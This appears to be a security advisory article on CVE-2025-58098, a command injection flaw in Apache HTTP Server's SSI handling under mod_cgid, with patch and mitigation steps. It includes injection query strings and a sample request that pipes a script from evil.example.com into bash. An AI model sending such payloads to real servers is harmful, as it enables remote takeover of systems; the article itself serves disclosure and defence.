A serious security issue, identified as CVE-2025-58098, has been discovered in the Apache HTTP Server (versions 2.4.65 and earlier). This vulnerability mainly affects servers configured with Server Side Includes (SSI) and mod_cgid (but not mod_cgi). Attackers can exploit this flaw to execute arbitrary shell commands on your server—putting your data and infrastructure at real risk.
If your server is running on Apache HTTP Server 2.4.65 or earlier, has SSI enabled, and uses mod_cgid, you need to take action now. The Apache team has fixed the issue in version 2.4.66.
In this article, we'll break down how the CVE-2025-58098 exploit works, show code snippets to illustrate the problem, and provide steps to protect your servers. We'll also link you to official sources for more details.
Understanding the Vulnerability
SSI (Server Side Includes) allows HTML pages to include dynamic content and run commands on the server. For example:
<!--#exec cmd="ls -l" -->
This line runs 'ls -l' on the server and prints the output in the web page.
Normally, Apache sanitizes incoming data before passing it to the underlying shell. However, CVE-2025-58098 exposes a flaw: when mod_cgid is handling requests, it doesn't properly escape the query string before passing it to the shell with the SSI #exec cmd directive.
This means if a malicious user can control part of the query string, they may be able to inject arbitrary shell commands—such as deleting files, installing malware, or opening backdoors.
Suppose your site has an endpoint like
http://victim-site.com/status.shtml?who=admin
And the status.shtml contains this code
<!--#exec cmd="echo $QUERY_STRING" -->
In a vulnerable Apache setup, an attacker could send
/status.shtml?who=admin;uname%20-a;id
What happens?
Due to the bug, the whole who=admin;uname%20-a;id is passed to the shell. The injected ;uname -a;id part acts as extra commands, making the server run those commands in addition to echoing "who=admin".
A real payload might look like
GET /status.shtml?who=admin;curl%20http://evil.example.com/shell.sh|bash HTTP/1.1
Host: victim-site.com
This would instruct the server to fetch and execute a remote shell script, compromising your system.
You can test if your setup is vulnerable with a file like this
<!-- status.shtml -->
<html>
<body>
Server Info:
<!--#exec cmd="echo $QUERY_STRING" -->
</body>
</html>
Request
curl 'http://your-apache-server/status.shtml?foo=bar;id';
httpd.conf
LoadModule include_module modules/mod_include.so
LoadModule cgid_module modules/mod_cgid.so
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
<Directory "/var/www/html">
Options +Includes
AllowOverride None
Require all granted
</Directory>
Any .shtml file can now contain SSI, and cmd can be injected if it uses or trusts user input.
Upgrade Apache HTTP Server to 2.4.66 or later.
# On Ubuntu/Debian
sudo apt update
sudo apt install apache2
# On CentOS/RedHat
sudo yum update httpd
Restart the Apache service
sudo systemctl restart apache2 # or
sudo systemctl restart httpd
Upgrade immediately. This is the *only* way to be fully safe. Disabling SSI or mod_cgid also mitigates the risk, but upgrading is strongly recommended.
Options -Includes
<br>- <b>Switch from mod_cgid to mod_cgi` if possible (but this may have performance impacts).
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## References
- Apache Security Advisory, CVE-2025-58098:
https://httpd.apache.org/security/vulnerabilities_24.html
- NIST National Vulnerability Database entry:
https://nvd.nist.gov/vuln/detail/CVE-2025-58098
- Apache HTTP Server Project:
https://httpd.apache.org/
---
## Conclusion
CVE-2025-58098 is a critical vulnerability in Apache HTTP Server's use of Server Side Includes (SSI) with mod_cgid. Left unpatched, it could allow attackers to execute shell commands and gain control over your server. If you use Apache HTTP Server version 2.4.65 or below, immediate action is required: upgrade to 2.4.66 as soon as possible.
If you have any questions or need help, check out the official Apache links above or ask your system administrator for guidance.
Stay safe!
Timeline
Published on: 12/05/2025 13:40:39 UTC
Last modified on: 12/08/2025 19:36:05 UTC